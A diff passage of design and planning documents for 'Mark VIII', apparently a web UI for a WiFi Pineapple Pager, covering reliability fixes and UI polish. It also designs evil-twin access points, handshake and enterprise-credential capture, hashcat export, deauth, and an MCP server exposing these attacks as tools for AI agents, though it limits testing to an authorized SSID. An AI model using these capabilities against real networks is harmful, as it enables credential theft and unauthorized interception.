||||
```python
|
||||
ROLE_KEY = 'mk8.rfplan.role'
|
||||
|
||||
def current_role():
|
||||
from server import _uci_values
|
||||
cfg = _uci_values('wireless.wlan1up') or {}
|
||||
if cfg.get('disabled') != '1' and cfg.get('mode') == 'sta':
|
||||
return 'uplink'
|
||||
return 'idle'
|
||||
|
||||
def set_role(role, ssid=None, psk=None):
|
||||
from server import device_run, _pause_hop, _resume_hop
|
||||
if role == 'uplink':
|
||||
if not ssid:
|
||||
return {'ok': False, 'error': 'ssid required'}
|
||||
cmds = [
|
||||
['uci', 'set', 'wireless.wlan1up=wifi-iface'],
|
||||
['uci', 'set', 'wireless.wlan1up.device=radio1'],
|
||||
['uci', 'set', 'wireless.wlan1up.mode=sta'],
|
||||
['uci', 'set', 'wireless.wlan1up.network=cli'],
|
||||
['uci', 'set', 'wireless.wlan1up.ssid=%s' % ssid],
|
||||
['uci', 'set', 'wireless.wlan1up.encryption=%s'
|
||||
% ('psk2' if psk else 'none')],
|
||||
['uci', 'set', 'wireless.wlan1up.disabled=0'],
|
||||
]
|
||||
if psk:
|
||||
cmds.append(['uci', 'set', 'wireless.wlan1up.key=%s' % psk])
|
||||
for c in cmds:
|
||||
device_run(c)
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
_pause_hop()
|
||||
device_run(['wifi', 'reload'], timeout=60)
|
||||
assoc = associated()
|
||||
if not assoc:
|
||||
disable_uplink()
|
||||
_resume_hop()
|
||||
return {'ok': False, 'error': 'association failed; reverted'}
|
||||
return {'ok': True, 'role': 'uplink', 'assoc': assoc}
|
||||
# attack/idle: tear down STA
|
||||
disable_uplink()
|
||||
_resume_hop()
|
||||
return {'ok': True, 'role': role}
|
||||
|
||||
def associated():
|
||||
rc, out, err = device_run(['iw', 'dev', 'wlan1up', 'link'], timeout=10)
|
||||
if rc != 0 or 'Connected' not in (out or ''):
|
||||
return None
|
||||
for line in (out or '').splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith('Connected to '):
|
||||
return line.split()[2]
|
||||
return None
|
||||
|
||||
def disable_uplink():
|
||||
from server import device_run
|
||||
device_run(['uci', 'set', 'wireless.wlan1up.disabled=1'])
|
||||
device_run(['uci', 'commit', 'wireless'])
|
||||
|
||||
def ensure_attack():
|
||||
if current_role() == 'uplink':
|
||||
set_role('attack')
|
||||
```
|
||||
|
||||
Handlers in server.py wrap with gate + journal events. `GET /api/rfplan` returns role + assoc + hop-paused state.
|
||||
|
||||
- [ ] **Step 3: Pass; py_compile; commit** — `feat(reliability): phy1 RF role manager with uplink-on-radio1`
|
||||
|
||||
---
|
||||
|
||||
### Task 8: UI additions
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js`, `www/js/app.js` (nav if needed), `www/css/app.css`
|
||||
|
||||
**Steps (no unit tests; verified by `node --check` + live smoke in Task 10):**
|
||||
|
||||
- [ ] Dashboard health panel: events feed list (ts/kind/sev/msg) + counters row (boots/unexpected/rollbacks/restarts/guard fixes) + guard sync chip; render from `/api/health` new fields; CSS classes `mk8-events-feed`, `mk8-counter-row`.
|
||||
- [ ] Top bar RF chip extension: show `PHY1: UPLINK chNN` when rfplan role is uplink (poll `/api/rfplan` with existing status poll).
|
||||
- [ ] Settings: "Reliability" card — profile save input + Save button (`POST /api/reliability/profile` {name}), profile list with Restore buttons (`POST /api/reliability/restore` {name}), RF role control (role select + SSID/PSK inputs → `POST /api/rfplan/role`).
|
||||
- [ ] Add routes in Task 9's API surface before wiring buttons; keep fetch helpers identical to existing patterns (`apiFetch('/api/...')`).
|
||||
- [ ] `node --check` both JS files; bump cache-bust query `?v=` strings as existing convention does.
|
||||
- [ ] Commit — `feat(ui): reliability panel, profiles card, RF plan controls`
|
||||
|
||||
---
|
||||
|
||||
### Task 9: API routes + atomic deploys + VERSION
|
||||
|
||||
**Files:**
|
||||
- Modify: `server.py` ROUTER block (~line 6804), `scripts/deploy.sh`, create `VERSION`
|
||||
- Test: `tests/test_reliability_api.py`
|
||||
|
||||
- [ ] **Routes:**
|
||||
|
||||
```python
|
||||
ROUTER.add('GET', r'/api/rfplan', h_rfplan_get)
|
||||
ROUTER.add('POST', r'/api/rfplan/role', h_rfplan_post)
|
||||
ROUTER.add('GET', r'/api/reliability/profiles', h_profiles_get)
|
||||
ROUTER.add('POST', r'/api/reliability/profile', h_profile_save)
|
||||
ROUTER.add('POST', r'/api/reliability/restore', h_profile_restore)
|
||||
```
|
||||
|
||||
Handlers thin-wrape `mk8_rfplan` / `mk8_profiles`; restore handler runs inside `mk8_gate.gated('restore_profile', ...)`. All auth-gated automatically by existing middleware.
|
||||
|
||||
- [ ] **VERSION file:** `1.4.0`
|
||||
- [ ] **deploy.sh rework:**
|
||||
1. Read `VERSION` → stamp build copies of `_hak5_manifest.json` (`version`), `payload.sh` header comment, and inject `SERVER_VERSION = 'X'` into staged `server.py` (build dir only, never source tree).
|
||||
2. Remote flow: scp zip to `/tmp/mk8-stage/` → verify sha256 of uploaded zip matches local → stop service → extract to `/mmc/mk8/releases/<ts>/` → repoint `current` symlink atomically (`ln -sfn`) → install/update `/etc/init.d/mk8-guard` + copy `mk8-watchdog.sh` → start → poll `http://127.0.0.1:8080/api/api_ping` (via SSH-local curl) ≤60 s → compare served banner/version → on failure: `ln -sfn` back to previous release + start + exit 1.
|
||||
3. Keep legacy overlay payload dir as symlink target for portal compatibility: `/root/payloads/user/.../pager-webui` → real dir stays, contains pointer script or bind; simplest: leave legacy install untouched and have `current` be canonical (init scripts already fall back to `/mmc/mk8/releases/current`).
|
||||
- [ ] **Tests:** unit-test stamping function `stamp_version(build_dir)` extracted into `scripts/build_common.py` (new) so it is importable: asserts manifest/payload/server contain version; sha256 check tested with tmpfiles.
|
||||
- [ ] **Commit** — `feat(deploy): atomic releases, VERSION single-source, post-deploy verification`
|
||||
|
||||
---
|
||||
|
||||
### Task 10: On-device smoke suite + live verification
|
||||
|
||||
**Files:**
|
||||
- Create: `scripts/smoke.sh`
|
||||
|
||||
- [ ] **smoke.sh checks (each prints PASS/FAIL, non-destructive unless `--write` given):**
|
||||
1. Service up: `curl :8080/api/api_ping`.
|
||||
2. Guard installed: `[ -x /etc/init.d/mk8-guard ]` and enabled symlink exists.
|
||||
3. Invariants: `uci get` each wanted key equals expected; pool size ≤ 20.
|
||||
4. Journal writable + has boot event: tail events.log on device.
|
||||
5. Monitors up: `ip link show wlan0mon/wlan1mon`.
|
||||
6. (`--write`) Bad-value drill: set `pineapd.wlan1mon.bands='2,5'` → run `--reconcile` → expect `'5'`; set pool of 25 SSIDs → reconcile → cleared.
|
||||
7. (`--write`) Role drill: set_role uplink to lab AP → expect assoc; set_role attack → expect monitors hopping again.
|
||||
8. Deploy version match: `/api/health` version == `cat VERSION`.
|
||||
- [ ] **Execution order:** full local unit suite (every `tests/test_*.py` individually) → deploy via `./scripts/deploy.sh --password '<pw>'` → reboot device via SSH → wait for SSH return → rerun smoke.sh → confirm guards survived boot → report.
|
||||
- [ ] **Commit** — `test(smoke): on-device reliability suite` ; final tag `v1.4.0` after user confirmation.
|
||||
|
||||
---
|
||||
|
||||
## Verification matrix (spec → tasks)
|
||||
|
||||
| Spec requirement | Task |
|
||||
|---|---|
|
||||
| Boot guard before S50 | 4 |
|
||||
| Reconciler invariants (5 crash sources) | 3 |
|
||||
| Profiles + lastknown-good | 2 |
|
||||
| Knock-off rollback watchdog (local liveness) | 6 |
|
||||
| RF roles, uplink→phy1, hop pause/resume | 7 |
|
||||
| Supervisor sampling + hysteresis + alerts | 5 |
|
||||
| Event journal on /mmc + boot detection | 1, 5 |
|
||||
| Atomic deploy + version single-source | 9 |
|
||||
| UI health/events/profiles/RF | 8, 9 |
|
||||
| Unit + smoke tests | all, 10 |
|
||||
@@ -0,0 +1,102 @@
|
||||
# Mark VIII Night Sprint — Attacks, Sync, Harness
|
||||
|
||||
Date: 2026-08-18
|
||||
Status: Approved (user: "Approved, go build")
|
||||
|
||||
## Problem
|
||||
|
||||
The Mark VIII web UI (Pager firmware `Pineapple Pager 24.10.1`) is rough and
|
||||
desyncs from the device. Interrogation (2026-08-18, live device `172.16.52.1`)
|
||||
found:
|
||||
|
||||
1. **pineapd crash-loop**: 34+ `SIGSEGV`s in logread; stock daemon restarts
|
||||
pineapd every ~30s. Root cause: SSID-pool broadcast (68 SSIDs, `disable='0'`)
|
||||
segfaults pineapd; `wlan1mon` repeatedly fails to come up
|
||||
("That device is not up" / "interface sysfs directory does not exist" every 5s).
|
||||
2. **State desync**: `GET /api/pineap/mode` returns `mode: "unknown"` while the
|
||||
device is effectively Active; mode is a UI-stored preference, never derived
|
||||
from live state.
|
||||
3. **Wrong-band AP cards**: `get_ap` reads radio1 (`wlan1wpa`/`wlan1open`)
|
||||
whenever those UCI sections exist (even disabled leftovers), so the 2.4GHz
|
||||
Evil WPA card silently shows 5GHz state.
|
||||
4. **Evil Enterprise is dead code**: `views.pineap_enterprise` exists but has no
|
||||
route in `app.js` routes map and no tab.
|
||||
5. **Fire-and-forget writes**: UI toasts success without verifying device state.
|
||||
6. **Hop hygiene**: radio1-AP feature pauses `wlan1mon` hop and leaves it paused
|
||||
with leftover AP sections.
|
||||
|
||||
## Research findings (verified on device)
|
||||
|
||||
- Enterprise AP recipe: create `wireless.wlan0ent` (device `radio0`, mode `ap`,
|
||||
encryption `wpa2`, key = passphrase), then
|
||||
`PUT /api/settings/wifi/set_ap` over unix socket `/tmp/api.sock` with
|
||||
`{"configs":[{"interface":"wlan0ent","ssid":...,"enctype":"wpa2",
|
||||
"enabled":true,"key":...,"channel":1}]}`. Result: `wlan0ent` AP live with
|
||||
`ieee8021x=1`, `wpa=2`, `wpa_key_mgmt=WPA-EAP` (PineAPE internal EAP server).
|
||||
Daemon-side hostapd reload is async (poll for iface in `iw dev`).
|
||||
- `hcxpcapngtool`, `tcpdump`, `sqlite3`, `aircrack-ng` present on device.
|
||||
- MCP Streamable HTTP transport (2025-06-18): single endpoint, POST JSON-RPC,
|
||||
respond `application/json` or SSE; Origin validation + auth required.
|
||||
- Daemon unix-socket API (`/tmp/api.sock`) carries `/api/pineap/*`; TCP :1471
|
||||
carries `/api/settings/*` and `/api/login`.
|
||||
|
||||
## Design
|
||||
|
||||
### Phase 1 — Attacks (top-level menu item)
|
||||
|
||||
New side-menu section **Attacks** with three launchers:
|
||||
|
||||
- **Evil WPA (PSK)**: SSID, passphrase, enctype (psk2/sae/owe), band+channel
|
||||
(2.4 → `wlan0wpa`, 5/6 → `wlan1wpa` via radio1 feature), hidden. Deploy =
|
||||
UCI write + hop pause + `wifi reload` + PineAP response engine + karma on +
|
||||
handshake logging on. Stop = disable AP + hop resume. Live AP status from
|
||||
`iw dev`/UCI (never UI cache), live handshake table (`hostap_handshake`),
|
||||
**Export .hc22000** (on-device `hcxpcapngtool`) + hashcat command, per-client
|
||||
deauth with band-aware inject interface.
|
||||
- **Evil Open**: same shape for `wlan0open` / radio1 open AP.
|
||||
- **Evil Enterprise**: SSID, encryption (wpa2/wpa3 enterprise), passphrase.
|
||||
Deploy = verified recipe above + PineAPE on + auth-pass capture on. Live cred
|
||||
tables (`hostap_basic`, `hostap_chalresp`) with Clear.
|
||||
|
||||
All three: verification banner ("applied & verified" vs "device state differs"),
|
||||
Stop button, and a post-write poll (UCI + `iw dev`) before success toast.
|
||||
|
||||
### Phase 2 — Stabilize + sync
|
||||
|
||||
- SSID pool broadcast disabled on deploy of this build; server-side health
|
||||
monitor: `_pineap PING` every 15s; two failures → check SIGSEGV growth in
|
||||
logread → disable pool, restart pineapd, `ip link set wlan1mon up`.
|
||||
- Mode derived from live `enabled` + `collect` + `advertise`; never "unknown"
|
||||
when state is readable.
|
||||
- `get_ap` returns `radio0` + `radio1` + `enterprise` APs as separate objects.
|
||||
- All writes verified by re-read; success only on match.
|
||||
- Hop resumed when no radio1 AP active; leftover radio1 sections reported.
|
||||
|
||||
### Phase 3 — Local Harness (MCP)
|
||||
|
||||
- `POST /mcp` on server.py: Streamable HTTP MCP server (JSON-RPC 2.0, pure
|
||||
socket, no deps), auth via session cookie/Bearer + Origin validation.
|
||||
- Tools: `recon.query`, `attack.deploy_evil_wpa` / `deploy_evil_open` /
|
||||
`deploy_evil_enterprise` / `stop_attack`, `attack.deauth`,
|
||||
`attack.capture`, `loot.handshakes`, `loot.export_hc22000`,
|
||||
`loot.enterprise_creds`, `device.state`, `pineap.set_filter`,
|
||||
`pineap.kick_client`.
|
||||
- Resources: recon DB tables (ssid, wifi_device, handshake, hostap_handshake,
|
||||
hostap_basic, hostap_chalresp), handshake files, loot listing, and the
|
||||
opencode skills (pineapple-control, wifi-deauth, aircrack-suite) as
|
||||
markdown resources.
|
||||
- Prompts: attack playbooks (evil-wpa, evil-enterprise, recon).
|
||||
- **Harness UI page**: endpoint + client config snippets (opencode/Claude/
|
||||
Cursor), capability explorer, "prompt for pi.dev" generator, live state
|
||||
snapshot.
|
||||
- Optional stdio wrapper `scripts/harness_stdio.py` for stdio-only agents.
|
||||
|
||||
## Constraints
|
||||
|
||||
- Authorized target: `<authorized-test-ssid>` only (intermittent). Non-client
|
||||
environment; no deauth blasts; verify on-wire via monitor capture when needed.
|
||||
- SSID pool stays disabled (stock bug; re-enabling re-crashes pineapd).
|
||||
|
||||
## Out of scope
|
||||
|
||||
`1471` takeover, Cloud C2, campaigns, physical display mirroring.
|
||||
@@ -0,0 +1,123 @@
|
||||
# Mark VIII UI Hardening + Recon Polish — Design
|
||||
|
||||
Date: 2026-08-18
|
||||
Status: Approved in advance by user (auto-approve; user unavailable for review)
|
||||
|
||||
## Context
|
||||
|
||||
Mark VIII (web UI for the WiFi Pineapple Pager) has been through major dev
|
||||
changes. The user runs a live test tomorrow and needs the UI rock solid.
|
||||
Verified on device:
|
||||
|
||||
- MCP server works: `tools/list` returns 16 tools; `device.state`,
|
||||
`recon.aps` respond correctly.
|
||||
- API endpoints used by the Recon "Actions" buttons work
|
||||
(`/api/recon/examine`, `/api/pineap/set_config`).
|
||||
- Recon detail endpoint is slow (~1.5 s) and can 503 when the sqlite DB is
|
||||
busy; the UI swallows errors silently and can stay blank.
|
||||
|
||||
## Findings
|
||||
|
||||
1. **Recon top cards (5)**: equal 200 px cards with 20 px titles, centered
|
||||
content, charts sized for wide cards. "Previous Scans" crams 5 icon
|
||||
buttons + a 50+-option select into a ~220 px card → buttons stack into
|
||||
three rows. "Channel Distribution" bar chart is unreadable at card width.
|
||||
Handshakes toggle text wraps awkwardly.
|
||||
2. **Channel map**: canvas lobes render but have zero interactivity — no way
|
||||
to see which networks are under the cursor.
|
||||
3. **Focus sidebar Actions**: "Capture WPA Handshakes" / "Stop Handshake
|
||||
Capture" / "Examine BSSID" / "Examine Channel" work at the API level but
|
||||
give weak feedback; there is no path from a recon target to the PineAP
|
||||
evil-twin form.
|
||||
4. **Robustness**: `loadDetail()` in the recon view swallows render/network
|
||||
errors with `.catch(() => {})`; if rendering throws after `detailId` is
|
||||
set, the page stays blank forever (guard short-circuits). `load()` has no
|
||||
pending guard → overlapping polls. `hsAuto` (loghandshake) checkbox is
|
||||
only synced at view creation — it drifts from the pager's own settings
|
||||
when changed elsewhere (pager UI / another browser).
|
||||
|
||||
## Changes
|
||||
|
||||
### 1. Recon title cards — redesign (`views.js` + `app.css`)
|
||||
|
||||
New card anatomy (all five consistent):
|
||||
- Compact header: 12 px uppercase muted title (clickable where it links).
|
||||
- Primary value: 28 px bold.
|
||||
- Sub-line: 12 px muted context text.
|
||||
- Optional mini chart: fixed 96 px tall.
|
||||
|
||||
Cards (`flex: 1 1 0; min-width: 170px; height: 190px` — five fit one row
|
||||
even in a ~1000 px pane):
|
||||
1. **Wireless Landscape** — value: total networks (APs); sub: "N clients ·
|
||||
M unassociated"; mini doughnut (APs/Clients/Unassociated).
|
||||
2. **Channel Distribution** — value: busiest channel "CH 6"; sub: "N of K
|
||||
APs on CH 6 · channels seen"; mini bar chart of channel counts.
|
||||
3. **Encryption Landscape** — value: top encryption bucket; sub: "N of K
|
||||
APs"; mini doughnut of buckets.
|
||||
4. **Handshakes** — value: handshake count (links to
|
||||
`#/recon/handshakes`); sub: "captured"; auto-collect toggle (restyled).
|
||||
5. **Previous Scans** — value: scan count; sub: latest scan start time;
|
||||
compact select row + single row of icon buttons.
|
||||
|
||||
Empty states get copy that matches the card ("No landscape data yet —
|
||||
run a scan").
|
||||
|
||||
### 2. Channel map hover (`chart.js` + `views.js` + `app.css`)
|
||||
|
||||
- `MiniChart.channelMap` records per-lobe geometry on the canvas:
|
||||
`canvas.__reconLobes = [{ ap, cx, half, topPx, basePx }]` (CSS px).
|
||||
- `views.js` attaches `mousemove`/`mouseleave`/`click` to the map canvas:
|
||||
- hit test: `t=(mx-cx)/half`, lift = `0.5+0.5·cos(πt)`, hovered if
|
||||
`my >= basePx - lift·peakPx - 4` and `my <= basePx + 8`;
|
||||
- tooltip div (absolute, inside `.recon-map-box`) lists every network
|
||||
under the cursor: SSID/MAC/channel/freq/signal/encryption/vendor;
|
||||
- click pins the tooltip until the next move or click;
|
||||
- `mouseleave` hides it.
|
||||
- Lobe geometry regenerates on every `renderChannelMap()` (redraw), so
|
||||
stale geometry is impossible.
|
||||
|
||||
### 3. Focus sidebar: Actions validation + Send to PineAP (`views.js`)
|
||||
|
||||
- Existing buttons stay; toast feedback improved (already verified working
|
||||
at API level; re-verified end-to-end in browser).
|
||||
- New primary button **"Send to PineAP — Twin this network"**:
|
||||
- encryption bucket `Open` → navigate `#/pineap/open` with prefill
|
||||
`{ssid, hidden, channel, bssid}`;
|
||||
- anything else → navigate `#/pineap/evilwpa` with prefill
|
||||
`{ssid, hidden, channel, enctype}` where enctype maps from recon
|
||||
encryption: SAE→`sae`, OWE→`owe`, WPA3-only→`sae`, else `psk2`;
|
||||
- Enterprise networks still go to Evil WPA (psk2) — noted in the prefill
|
||||
banner.
|
||||
- Prefill mechanism: `window.PineAPPrefill = { set, consume }` (module
|
||||
singleton in `views.js`); `consume()` clears after use so a stale prefill
|
||||
never leaks into a manually opened form.
|
||||
- `attackLauncher()` consumes the prefill when building the form (SSID,
|
||||
hidden, channel via `chanSelect`, enctype, BSSID) and renders a muted
|
||||
banner: "Prefilled from Recon — verify, set the passphrase, then Deploy."
|
||||
Deploy is never triggered automatically (no attacks without an explicit
|
||||
user action).
|
||||
|
||||
### 4. Robustness / sync hardening (`views.js`)
|
||||
|
||||
- `loadDetail()`: on fetch failure keep `detailId` unset so the poll
|
||||
retries; surface "Scan data unavailable — retrying…" in the scan status
|
||||
line; wrap the render body so one chart's exception cannot blank the
|
||||
table (each chart draw also wrapped individually).
|
||||
- `drawCharts()`: wrap each chart section in try/catch.
|
||||
- `load()`: `loadPending` guard against overlapping polls; surface scan-list
|
||||
errors in the status line.
|
||||
- `hsAuto` re-syncs from `/api/pineap/get_config` on the 30 s slow poll
|
||||
(stays in sync with the pager's own UI/settings changes).
|
||||
- Version bumps in `index.html` for `app.css`, `chart.js`, `views.js`.
|
||||
|
||||
### 5. Verification
|
||||
|
||||
- Backend unchanged → existing `tests/` still pass (run the suite).
|
||||
- Deploy via `scripts/deploy.sh --password` (device: 172.16.52.1).
|
||||
- End-to-end in browser (device UI):
|
||||
- login; recon page: cards populated with scan data; no blank-page state;
|
||||
- click an AP row → focus sidebar → each Action button verified by
|
||||
reading back state (`get_config`) and API responses;
|
||||
- Send to PineAP → form pre-filled on the right tab (open vs WPA target);
|
||||
- channel map click → tooltip shows networks under cursor;
|
||||
- reboot-resilience spot check via service restart (pagerwebui restart).
|
||||
@@ -0,0 +1,46 @@
|
||||
# Encryption Landscape Card — Ring + Key Redesign
|
||||
|
||||
Date: 2026-08-19
|
||||
|
||||
## Problem
|
||||
|
||||
The "Encryption Landscape" recon card currently leads with a text headline
|
||||
(`WPA2-PSK` / `54 of 96 APs`) that duplicates the ring graph below it and is of
|
||||
little value. The ring itself draws an inline legend on the canvas in a single
|
||||
row that overflows the 190px card width (6 labels) and gets clipped. The card
|
||||
should be a proper ring graph with a readable key.
|
||||
|
||||
## Design
|
||||
|
||||
- Remove the `encValue` / `encSub` text line (`WPA2-PSK` / `54 of 96 APs`)
|
||||
entirely. Title + ring + legend tell the whole story.
|
||||
- Ring: existing doughnut grows to fill the card body (canvas ~120px tall),
|
||||
plain hole. Segments come from the **actual** `reconEncBucket` family keys
|
||||
(Open / WEP / WPA / WPA2-PSK / WPA2-Enterprise / WPA3-Personal / WPA3-PSK /
|
||||
WPA3-Enterprise / Unknown) — the nominal six-bucket list was a wrong
|
||||
assumption: `reconEncBucket` never returns `WPA2`/`WPA3`/`Enterprise`
|
||||
verbatim, so the ring drew an empty ring on WPA2-dominated data.
|
||||
Families are ordered by `RECON_ENC_ORDER`; colors cycle `RECON_ENC_COLORS`.
|
||||
- Legend: move out of the canvas into real HTML below the ring. Flex-wrap so
|
||||
entries never clip at 190px. Each entry: colored dot + label + count
|
||||
(`● WPA2-PSK 44`). Zero-count families are never produced (built from
|
||||
non-zero `encCounts` keys). The legend div carries both the class and the
|
||||
id `recon-enc-legend` — drawCharts looks it up with `getElementById`, and a
|
||||
class-only element made the population block silently no-op.
|
||||
- Empty state unchanged: "No encryption data yet — run a scan."
|
||||
- Data source, per-scan bucketing (`reconEncBucket`), re-sync, and the 5-card
|
||||
layout are untouched. The other cards are untouched.
|
||||
|
||||
## Implementation notes
|
||||
|
||||
- `chart.js`: `MiniChart.doughnut` keeps the `legend` option for any other
|
||||
callers (the recon landscape doughnut calls with `legend:false`; the enc
|
||||
card switches to `legend:false` since HTML legend replaces it).
|
||||
- `views.js`: drop `encValue`/`encSub`; build an HTML legend container
|
||||
(`#recon-enc-legend`) populated in `drawCharts` from the same `encCounts`;
|
||||
ring drawn with `{ legend: false, height: ~120 }` from a shared `encSegs`
|
||||
array (real family keys, `RECON_ENC_ORDER`-sorted, cycled colors).
|
||||
- `app.css`: `.recon-enc-legend` flex-wrap styles + dot/entry styles.
|
||||
- Ring hole stays plain (no center text).
|
||||
- On-device verification MUST assert the legend has non-empty entries
|
||||
(class/id mismatch and the bucket-name mismatch both fail silently).
|
||||
@@ -0,0 +1,98 @@
|
||||
# Startup Environment Check + Self-Heal
|
||||
|
||||
Date: 2026-08-19
|
||||
|
||||
## Problem
|
||||
|
||||
Rebooting the Pineapple left Mark VIII in a broken state: the boot-persistent
|
||||
procd service came back, but nothing reconciled pineapd/UCI/monitors, so the UI
|
||||
reported state that did not match the device (pool "off" while actually
|
||||
broadcasting), native recon scans failed, and scans only returned 5GHz results.
|
||||
|
||||
Three observed failures:
|
||||
|
||||
1. **native recon scan failed** — `h_recon_start` proxies
|
||||
`/api/pineap/recon/new`; it returns 502 when the daemon fails (typically
|
||||
pineapd down/crash-looping). Nothing verifies pineapd health before the user
|
||||
starts a scan.
|
||||
2. **scans only showed 5GHz** — radio0's AP interfaces (wlan0open/wlan0wpa)
|
||||
pin `wlan0mon` to one 2.4GHz channel (a phy's channel is held by its AP
|
||||
interface), so 2.4GHz results mostly vanish while 5GHz `wlan1mon` hopping
|
||||
keeps producing results. The band UCI config itself is correct.
|
||||
3. **pool "on" while UI shows "off"** — the UI's advertise state is derived
|
||||
only from UCI `pineapd.@ssidpool[0].disable`. Nothing syncs pineapd's
|
||||
*runtime* pool broadcast to match UCI. UCI can say disabled while pineapd is
|
||||
live-broadcasting.
|
||||
|
||||
## Design decisions
|
||||
|
||||
- Keep boot auto-start; the service self-heals at every startup instead.
|
||||
- The env check auto-fixes everything fixable, re-verifies, and only fails hard
|
||||
on core deps (daemon unreachable after fix, pineapd down after restart, recon
|
||||
DB unreadable).
|
||||
- 5GHz-only scans are handled by verify + warn (no scan-time AP pausing).
|
||||
|
||||
## Implementation
|
||||
|
||||
### 1. `env_check()` in server.py (single source of truth)
|
||||
|
||||
Runs in order and returns `[{step, ok, detail, action}]` where `ok` is one of
|
||||
`pass`, `fixed`, `warn`, `fail`:
|
||||
|
||||
1. **Daemon reachable** — `daemon_sock_call('GET', '/api/pineap/get_config')`.
|
||||
Report-only.
|
||||
2. **pineapd alive** — `pidof pineapd`. If down: stabilize UCI, restart
|
||||
`/etc/init.d/pineapd`, re-verify. Core: if still down after restart -> fail.
|
||||
3. **Sane-off UCI defaults** — reuse the `_stabilize_pineapd` wanted-dict (pool
|
||||
`disable=1` + clear pool list, `wlan2mon.disable=1`/`hop=0`,
|
||||
`wlan1mon.bands=5`/`hop=0`, `wlan0mon.bands=2`). Write + commit when
|
||||
missing. Refactor so the health monitor and env check share the wanted-dict.
|
||||
4. **Runtime pool sync** — when UCI says pool disabled, call
|
||||
`_pineap('SSIDPOOL', 'DISABLE')` so pineapd's runtime broadcast matches the
|
||||
UI. Report the resulting runtime state as `pool_runtime`.
|
||||
5. **Monitors up** — `_bring_monitors_up()` for wlan0mon/wlan1mon.
|
||||
6. **Recon DB readable** — read-only scan-count query against `RECON_DB`.
|
||||
Report row count. Core: unreadable -> fail.
|
||||
7. **2.4GHz sampling** — report enabled radio0 APs (wlan0open/wlan0wpa).
|
||||
Warn: "2.4GHz under-sampled while an OpenAP/Evil WPA AP is up on radio0".
|
||||
|
||||
### 2. CLI mode `server.py --env-check`
|
||||
|
||||
`if __name__ == '__main__'` branch: run `env_check()`, print verbose
|
||||
`[PASS] step — detail` / `[FIXED] ...` / `[WARN] ...` / `[FAIL] ...` lines to
|
||||
stdout, exit 0 (all pass/warn) or 1 (any core fail).
|
||||
|
||||
### 3. Startup self-heal
|
||||
|
||||
`serve()` runs `env_check()` before binding, stores the report in module state,
|
||||
and logs to `/tmp/pagerwebui.log` (covers boot + procd respawn).
|
||||
|
||||
### 4. API + UI
|
||||
|
||||
- `GET /api/health` gains `env` (last env-check report + timestamp +
|
||||
pass/fixed/warn/fail counts) and `pool_runtime` (actual runtime broadcast
|
||||
state after sync).
|
||||
- `GET /api/recon/status` gains `wlan0_pinned` (true when a radio0 AP is
|
||||
enabled); the recon scan bar shows a 2.4GHz under-sampling warning pill.
|
||||
- `h_recon_start` failure includes `detail` in the user-facing error.
|
||||
|
||||
### 5. payload.sh
|
||||
|
||||
Before starting the service (both foreground and background paths), run
|
||||
`python3 "$SCRIPT_DIR/server.py" --env-check`, show output verbosely on the
|
||||
payload screen, and abort with a red message on exit 1. Bump header version to
|
||||
match the current release.
|
||||
|
||||
### 6. Tests
|
||||
|
||||
- `tests/test_env_check.py` — fake `device_run` UCI harness (pattern from
|
||||
`test_health.py`): defaults applied when missing / idempotent when set, pool
|
||||
list cleared, runtime SSIDPOOL disable invoked when UCI says disabled,
|
||||
monitors brought up, pineapd restarted when down, DB unreadable -> fail,
|
||||
CLI `--env-check` prints and exits correctly.
|
||||
- `test_health.py` updated for the shared stabilization refactor.
|
||||
|
||||
## Out of scope
|
||||
|
||||
- No scan-time AP pausing / radio0 AP teardown.
|
||||
- No changes to radio1 / evil-twin / enterprise config handling.
|
||||
@@ -0,0 +1,233 @@
|
||||
# Recon, Reports, Enterprise Certificates, and PineAP Stability Design
|
||||
|
||||
## Summary
|
||||
|
||||
This change improves five related Mark VIII workflows on Pineapple Pager 24.10.1:
|
||||
|
||||
1. Recon reports radio coverage from observed runtime behavior instead of treating an enabled dummy STA as proof of starvation.
|
||||
2. Self-contained HTML reports include signal maps matching the Recon UI.
|
||||
3. Evil Enterprise can generate and activate a user-defined self-signed server certificate.
|
||||
4. Handshakes moves from Recon to PineAP while old links continue to work.
|
||||
5. Mark VIII contains and diagnoses known `pineapd` crash loops without attempting an unsupported binary patch.
|
||||
|
||||
The implementation remains compatible with the existing constraints: Python standard library only, no frontend build step, no external report assets, and no modifications to the stock `pineapd` binary.
|
||||
|
||||
## Confirmed Current Behavior
|
||||
|
||||
On the target Pager, `wireless.dummy_radio0` is enabled, but `wlan0` is unassociated and `wlan0mon` exists. The current UI nevertheless displays `2.4GHz starved` because `wlan0_sta` means only that the UCI section is enabled. It does not prove association, administrative state, channel pinning, or a failed channel change.
|
||||
|
||||
Recon completion is also currently timer-based. The service does not associate the timer with the resulting scan row, and the UI prefers the newest nonempty scan. A completed run can therefore leave an older scan selected.
|
||||
|
||||
The target also has crash-prone PineAP settings: the nonexistent `wlan2mon` is enabled for hopping, `wlan1mon` includes 2.4 GHz, and pool broadcast lacks an explicit disabled value. Mark VIII reports these states but does not currently reconcile them. The running daemon is the stock `/usr/sbin/pineapd` with SHA-256 `e2cf0453d7e7d2e08bf31a242289e480d44649923a5199eed954d73df0cf1da5`.
|
||||
|
||||
## Recon Runtime Accuracy
|
||||
|
||||
### Radio State Model
|
||||
|
||||
The backend will expose a structured 2.4 GHz coverage state rather than asking the frontend to infer it from UCI booleans. The state will distinguish:
|
||||
|
||||
- `full`: `wlan0mon` passed the channel-control probe and is participating in the active hopper.
|
||||
- `pinned`: a live associated STA or active AP holds `phy0`, and the monitor cannot change channel.
|
||||
- `current_channel_only`: the channel-control probe failed, but native Recon remains able to collect on the current channel.
|
||||
- `unavailable`: `wlan0mon` is absent or down and cannot collect.
|
||||
- `idle`: no scan is active, with no claim about current scan coverage.
|
||||
|
||||
Supporting fields will identify the observed reason, current channel, associated STA state, dummy-STA configured state, dummy-STA parked state, and active hopper interfaces. User-visible messages will come from this backend diagnosis.
|
||||
|
||||
An enabled but unassociated `dummy_radio0` will not by itself produce a starvation warning. The preflight channel probe remains authoritative. If the dummy STA causes `Resource busy`, the existing safe borrowing flow will park it and retry. If the retry succeeds, coverage is `full`; if it fails, coverage reflects the observed limitation.
|
||||
|
||||
The hopper loop will clear active interface state when it exits. Completed scans must not retain stale `hopper_ifaces` that imply hopping remains active.
|
||||
|
||||
### Scan Identity and Completion
|
||||
|
||||
